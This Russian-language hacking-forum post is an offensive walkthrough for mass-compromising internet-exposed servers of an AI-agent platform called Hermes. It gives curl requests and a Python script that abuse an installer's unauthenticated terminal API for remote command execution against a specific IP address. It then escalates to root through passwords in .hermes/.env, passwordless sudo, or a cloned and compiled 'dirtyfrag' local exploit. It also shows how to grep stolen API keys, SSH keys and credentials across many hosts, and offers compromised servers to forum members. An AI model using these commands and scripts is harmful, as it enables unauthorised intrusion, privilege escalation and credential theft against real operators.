Hermes RCE
Делать нейросети нейросетями очень плохая идея.
Hermes это платформа, в которой можно подключить различные ИИ Агенты, с возможностью выдать им доступ к управлению внутренним или внешним серверам, к нему также без проблем можно подключить Telegram, cron, API и навыки различных ИИ, aws, azure, вебсервера, различные инструменты и тд.Делать нейросети нейросетями очень плохая идея.
Не удалось прогрузить медиа
Сейчас shodan насчитывает более 4.5к Гермесов, на данный момент из них уязвимо для RCE из этой статьи около 2/3. Половина сразу с root, в остальных же LPE можно получить через dirtyfrag.
Части статьи:
1.. RCE/PoC (Проблематика и shell)
2. LPE и работа с данными
RCE
Проблема состоит в том, что при инициализации установки будет открыт порт, зачастую это 3000 или 3001, который после самой установки закрыт не будет.
Этот установщик открывает API терминала, который ведёт к RCE, даже если доступ к панели Hermes под паролем (зависит от версии). Для доступа к терминалу нужно буквально два запроса curl.
Даже если главная страница вебсервера пишет о том, что установку необходимо завершить, запустив какие-то команды на сервере, уязвимость всё ещё будет работать.
Один из таких серверов я возьму для примера.
Спойлер: Скриншоты главной страницы пациента
Не удалось прогрузить медиа
Не удалось прогрузить медиа
Не удалось прогрузить медиа
Для отправки команд в терминал, сперва необходимо его инициализировать и получить ID сессии терминала.
curl -X POST http://20.112.124.34:3080/api/terminal-stream -H "Content-Type: application/json"Не удалось прогрузить медиа
Терминал был инициализирован, даже получили вывод из оболочки. Однако на этом этапе интересует лишь sessionId
data: {"sessionId":"5640d443-d4f9-4e9b-a048-6e4217af6812","reattach":false}
Сам http стрим на разных версиях может давать различные форматы ответа, но вы должны всегда увидеть sessionId
При помощи него, можно отправить команду на сервер, и получить её вывод в предыдущем http стриме из curl.
curl -X POST "http://20.112.124.34:3080/api/terminal-input" -H "Content-Type: application/json" -d '{"sessionId": "'"5640d443-d4f9-4e9b-a048-6e4217af6812"'", "data": "'"id; echo LIMB "'\r"}'\r в конце задан, чтобы нажать "энтер" в терминале. Без него команды будут попросту прописаны в терминал
Не удалось прогрузить медиа
Нагляднее:
Первый запрос инициализации:
Code:
POST /api/terminal-stream HTTP/1.1
Host: 20.112.124.34:3080
Content-Type: application/json
Второй запрос ввода в терминал:
Code:
POST /api/terminal-input HTTP/1.1
Host: 20.112.124.34:3080
Content-Type: application/json
{"sessionId":"2bef0a36-e853-4420-a9d5-596577e0be24","data":" (id; echo hello)\r"}
В стриме будет много мусора и топорной даты, поэтому вот python скрипт, который будет выводить лишь полезные данные.
Python:
import requests
import json
import threading
HOST = "http://20.112.124.34:3080"
COMMAND = "id; kill -9 $$'"
response = requests.post(f"{HOST}/api/terminal-stream", headers={"Content-Type": "application/json"}, stream=True)
for line in response.iter_lines(decode_unicode=True):
if line.startswith("data:"):
data = json.loads(line[5:])
if "sessionId" in data:
session_id = data["sessionId"]
print(f"{session_id}")
threading.Thread(target=lambda: requests.post(f"{HOST}/api/terminal-input", headers={"Content-Type": "application/json"}, json={"sessionId": session_id, "data": COMMAND + "\r"}), daemon=True).start()
if "data" in data:
print(data["data"].strip())
Не удалось прогрузить медиа
LPE и работа с данными
Сервер который я показывал до этого шёл в комплекте с root, поэтому возьмем другой для примера.
Hermes хранит различные API в .env который расположен в .hermes/.env
Часто там может быть парольчик от root
Не удалось прогрузить медиа
Эммммм sudo не запросил пароля, хотя тот и так был. Ну вот ещё один способ получения RCE на нейрослоп серверах :)
Если же пароля не нашлось, вы можете использовать dirtyfrag, это LPE сплоит который будет работать в 90% случаев.
git clone https://github.com/V4bel/dirtyfrag.git && cd dirtyfrag && gcc -O0 -Wall -o exp exp.c -lutil && ./expНе удалось прогрузить медиа
Без вотермарки чтобы было видно. Мой C2 сразу пересоздал сессию на root, однако вы увидите root shell.
Если оба варианта не сработали, как и куча других LPE сплоитов, вы можете попытать удачу в нахождении кредов через слитые источники, о чём будет третья часть статьи.
API
для работы ИИ агент хранит ключи в .hermes/.env
Для фильтрации от мусора используйте
grep -E '^[^#].*=.{6,}' | sort -uНе удалось прогрузить медиа
При большом колве машин, на выходе будут токены, учётки почти к любым сервисам: мессенджеры, ssh ключи, email, пароли от бд и куча API нейросетей.
На этом всё! Бонус - раздаю эти серверы в треде https://forum.LIMB.cc/threads/7707/
special for forum.LIMB.cc
ec5745y
ec5745y
👍9
🔥1
💯1
LIMB